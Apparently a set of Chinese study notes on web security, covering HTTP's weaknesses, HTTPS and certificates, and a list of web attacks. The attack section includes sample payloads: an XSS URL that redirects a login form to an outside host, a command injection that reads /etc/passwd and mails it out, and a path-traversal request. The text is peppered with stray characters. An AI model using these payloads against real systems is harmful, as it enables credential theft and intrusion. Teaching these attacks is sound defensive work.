web安全
互聯(lián)網(wǎng)上任何角落都存在通信內(nèi)容被竊聽的風險
http的缺點
- 通信使用明文(不加密)主穗,明文報文不具備保密性圃伶,內(nèi)容可能被竊聽
- 不驗證通信方的身份(不進行身份驗證)堤如,因此有可能遇到偽裝
-
- 無法證明報文的完整性,所以有可能已遭篡改(無法保證報文未被篡改)
所以http協(xié)議的不足概括的講就是:內(nèi)容保密性窒朋、身份驗證、內(nèi)容完整性;這些問題在其他未加密的協(xié)議中也會存在
問題
- 初狰?為什么說java和http等編程語言開發(fā)的應(yīng)用程序也可能存在安全漏洞
- wireshark抓包工具獲取http協(xié)議的請求和響應(yīng)內(nèi)容隘冲,三次握手
針對加密
- SSL: 提供認證和加密處理以及摘要功能,是應(yīng)用最為廣泛的網(wǎng)絡(luò)安全技術(shù)
- 通信的加密:通過和SSL(Secure Socket Layer,安全套接層)或TLS(Transport Layer Security,安全傳輸層)的組合使用欺劳。加密http的通信內(nèi)容唧取。與SSL組合使用的http就是https或者http over ssl
- 內(nèi)容的加密:將參與的通信內(nèi)容本身加密铅鲤,需要客戶端和服務(wù)器同時具備加密和解密機制
由于通過內(nèi)容加密不同于SSL或TSL將整個通信線路加密,所以內(nèi)容仍然會被篡改枫弟;
組合模式暗含職責單一的設(shè)計原則邢享,http協(xié)議的安全性通過組合SSL來實現(xiàn)。兩者各司其職淡诗,又可以根據(jù)場景組合使用骇塘,靈活性很高。
https
HTTP+加密+認證+完整性保護=HTTPS
通信方式
- http是直接和tcp通信
- https 是http先和ssl通信韩容,在由ssl和tcp通信
- 采用ssl后款违,http就擁有了https的加密、證書和完整性保護這些功能
加密方式
- 共享密鑰加密
加密和解密同用一個密鑰的方式宙攻,也被稱為對稱密鑰加密奠货。
發(fā)送密鑰就會存在被竊聽的風險,但不發(fā)送座掘,對方就不能解密递惋。再者密鑰若是能夠安全的發(fā)送,那數(shù)據(jù)也應(yīng)該能安全的送達
- 公開密鑰加密
SSL采用公開密鑰加密
公開密鑰加密使用一對非對稱的密鑰溢陪。發(fā)送密文的一方使用對方的公開密鑰進行加密處理萍虽,收到被加密的信息后,在使用自己的私有密鑰進行解密
- https采用混合加密機制
https采用共享密鑰加密和公開密鑰加密并用的混合加密機制
公開密鑰加密與共享密鑰加密相比形真,加密方式更為復雜杉编,其處理速度要慢,因此若在通信時使用公開密鑰加密咆霜,效率就很低邓馒。
所以交換密鑰環(huán)節(jié)使用公開密鑰加密方式,之后建立通信交換報文階段使用則使用共享密鑰加密方式
證明公開密鑰正確性的證書
密鑰在傳輸?shù)倪^程中也可能被攻擊者截取蛾坯,所以在加密時無法確認收到的公開密鑰就是希望得到的密鑰
- 公開密鑰證書
數(shù)字認真機構(gòu)(CA光酣,Certificate Authority)和其相關(guān)機構(gòu)頒發(fā)的公開密鑰證書
- 可證明組織真實性的EV SSL證書
證明作為通信一方的服務(wù)器是否規(guī)范
確認對方服務(wù)器背后運營的企業(yè)是否真實存在
- 客戶度端證書
客戶端證書用于特殊用途。比如可支撐客戶端證書支出費用的業(yè)務(wù)脉课,銀行的網(wǎng)上銀行就采用了客戶端證書
- 自簽名證書: 自由認證機構(gòu)頒發(fā)的證書
使用openssl開源程序救军,每個人都可以構(gòu)建一套屬于自己的認證機構(gòu),從而給自己頒發(fā)服務(wù)器證書
瀏覽器訪問自簽名證書服務(wù)器會顯示無法確認鏈接安全性或者該網(wǎng)站的安全證書存在問題等警告信息
https缺點
- 由于https還需要做服務(wù)器倘零,客戶端雙方加密以及解密處理唱遭,因此會消耗cpu和內(nèi)存等硬件資源
- 和http相比,ssl通信部分消耗網(wǎng)絡(luò)資源呈驶。而ssl通信部分拷泽,又因為要對通信進行處理所以時間上又延長了
- 和http相比,網(wǎng)絡(luò)負載可能會變慢2到100倍
因此非敏感信息使用http通信,只有在包含個人信息等敏感數(shù)據(jù)才使用https通信司致,另外使用證書必須向認證機構(gòu)購買
認證機制
- BASIC認證(基本認證)
- DIGEST認證(摘要認證)
- SSL客戶端認證
- FormBase認證(基于表單認證)
web攻擊
來自互聯(lián)網(wǎng)的攻擊大多是針對web站點
所有網(wǎng)站都會使用會話(session)管理订晌、加密處理等安全性方面的功能,而http協(xié)議內(nèi)并不具備這些功能
因此開發(fā)者需要自行設(shè)計并開發(fā)認證以及會話管理功能蚌吸,而自行設(shè)計就意味著會出現(xiàn)各種形形色色的實現(xiàn)
結(jié)果安全等級并不完備锈拨,可仍在運作的web應(yīng)用背后隱藏這各種容易被攻擊者濫用的安全漏洞的bug
攻擊模式
- 主動攻擊
攻擊者直接訪問web應(yīng)用,把攻擊代碼傳入的攻擊模式羹唠,由于該模式是直接針對服務(wù)器上的資源進行攻擊奕枢,因此攻擊者需要能夠訪問到哪些資源
代表性的SQL注入攻擊和OS命令注入攻擊
- 被動攻擊
利用全套策略執(zhí)行攻擊代碼。在被動攻擊過程中佩微,攻擊者不直接對目標應(yīng)用訪問發(fā)起攻擊
利用被動攻擊缝彬,可以發(fā)起對原本從互聯(lián)網(wǎng)上無法直接訪問的企業(yè)內(nèi)網(wǎng)等網(wǎng)絡(luò)的攻擊
代表性的跨站腳本攻擊和跨站點請求偽造
因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞
客戶端驗證-->(http請求)-->輸入-->處理-->輸出
-->http響應(yīng)
-->訪問db數(shù)據(jù)庫
-->訪問文件服務(wù)器
針對輸出值做轉(zhuǎn)義是一項至關(guān)重要的安全策略。當輸入值轉(zhuǎn)義不完全時哺眯,會觸發(fā)攻擊者傳入的代碼
- 1.跨站腳本攻擊
是指在瀏覽器內(nèi)運行非法HTML標簽或者javascript進行的一種攻擊
發(fā)生在動態(tài)生成html
如在輸入框內(nèi)輸入“<s>姓名</s>”經(jīng)過瀏覽器解析后會顯示刪除線
通彻惹常可以通過標簽偽造輸入頁面
實現(xiàn):
利用虛假輸入表單騙取用戶個人信息
對用戶cookie的竊取攻擊
-
原url和網(wǎng)址
1.png
-
- 受攻擊的url
http://example.jp/login? ID="><script>var+f=document=>.getElementById("login"); +f.action="http://hackr.jp/pwget"; +f.method==>"get";</script><span+s="
-
用戶點擊受攻擊后url的效果
2.png
-
- 2.sql注入攻擊
是指運行非法的sql產(chǎn)生的攻擊
實現(xiàn):
非法查看或者篡改數(shù)據(jù)庫內(nèi)的數(shù)據(jù)
規(guī)避認證
執(zhí)行和數(shù)據(jù)庫服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序
-
期望的結(jié)果
3.png
-
-
用戶輸入值“上官野' --”
4.png
-
-
代碼中的實現(xiàn)
5.png
-
- 3.os命令注入攻擊
執(zhí)行非法的操作系統(tǒng)命令達到攻擊的目的,只要在能調(diào)用shell函數(shù)的地方就存在被攻擊的風險
實現(xiàn):
利用shell發(fā)送郵件
獲取系統(tǒng)密碼 cat /etc/passwd; mail XXXX@silas.com
- 4.http首部注入攻擊
攻擊者通過在響應(yīng)首部字段插入換行奶卓。添加任意響應(yīng)首部或者主體的一種攻擊
http響應(yīng)截斷攻擊
實現(xiàn):
設(shè)置任何的cookie信息
重定向至任意的url
顯示任意的主體
- 利用在首部添加兩次換行一疯,可以偽造用戶瀏覽器顯示的網(wǎng)頁,在讓用戶輸入個人信息夺姑,可達到和跨站腳本攻擊類似的效果
5.郵件首部注入攻擊
攻擊者通過向郵件首部To或Subject內(nèi)任意添加非法內(nèi)容發(fā)起的攻擊
實現(xiàn):
廣告郵件
病毒郵件
- 6.目錄遍歷攻擊
通過非法截斷其目錄路徑后墩邀,達成訪問的一種攻擊,也稱為路徑遍歷(Path Traversal)攻擊盏浙。
實現(xiàn):
通過../非法瀏覽眉睹、篡改、刪除web服務(wù)器上的文件
- http://read.php?log=0401.log --> http//read.php?log=../../etc/passwd
7.遠程文件包含漏洞
因設(shè)置或設(shè)計上的缺陷引發(fā)的安全漏洞
- 1.強制瀏覽
從安置在web服務(wù)器的公開目錄下的文件中废膘,瀏覽那些原本非自愿公開的文件
實現(xiàn):
泄漏顧客的個人信息等
泄漏原本需要訪問權(quán)限的用戶才可以查閱的信息內(nèi)容
泄漏未外連到外界的文件
- 通過已知url推測出其他的url
2.不正確的錯誤消息處理
應(yīng)用程序的錯誤信息包含對攻擊者有用的錯誤信息
實現(xiàn):
web應(yīng)用拋出的錯誤信息
數(shù)據(jù)庫等系統(tǒng)拋出的錯誤信息
- 輸入用戶名時提示用戶未注冊可以讓攻擊者確認該賬號是否存在
3.開放重定向
對指定的任意url作重定向跳轉(zhuǎn)的功能
實現(xiàn):
指定的url重定向到具有惡意的web網(wǎng)站竹海,用戶就可以被誘導
-- http://test.sials.com?redirect=http://test.hh.com
因會話管理疏忽引發(fā)的安全漏洞
會話管理的疏忽導致用戶的認證狀態(tài)被竊取
- 1.會話劫持
攻擊者通過某種手段拿到用戶的會話id。并非法使用此會話id丐黄,達到攻擊的目的
獲取會話id的途徑:
通過非正規(guī)的生成方法推測會話id
通過竊聽或者XSS攻擊盜取會話id
- 2.會話固定攻擊
強制用戶使用攻擊者指定的會話id
攻擊者先訪問web網(wǎng)站拿到未認證的會話id
誘導用戶使用這個id去認證
攻擊者得到認證的會話id
- 3.跨站的請求偽造
攻擊者通過設(shè)置好的陷阱斋配,強制對已完成認證的用戶進行非預期的個人信息或設(shè)定信息等的更新
實現(xiàn):
利用已通過認證的用戶權(quán)限購買商品
其他安全漏洞
- 1.密碼破解
通過網(wǎng)絡(luò)的密碼試錯
對已加密密碼的破解(指攻擊者入侵系統(tǒng),已獲取加密或者散列處理的密碼數(shù)據(jù)的情況)
- 2.點擊劫持
利用透明的按鈕或者鏈接做成陷阱孵稽,覆蓋在web網(wǎng)頁之上
- 3.DOS攻擊
DOS(Denial of Service attack) 是一種讓運行中的服務(wù)呈停止狀態(tài)的攻擊许起,有時也叫服務(wù)停止攻擊或者拒絕服務(wù)攻擊十偶。DOS攻擊很難預防
多臺計算機發(fā)起的DoS攻擊稱為DDos攻擊(Distributed Denial of Serive attack)
實現(xiàn):
集中利用訪問請求造成資源過載菩鲜,資源用盡的同時,實際上服務(wù)也就呈停止狀態(tài)
通過攻擊安全漏洞使服務(wù)停止
- 4.后門程序
開發(fā)者設(shè)置的隱藏入口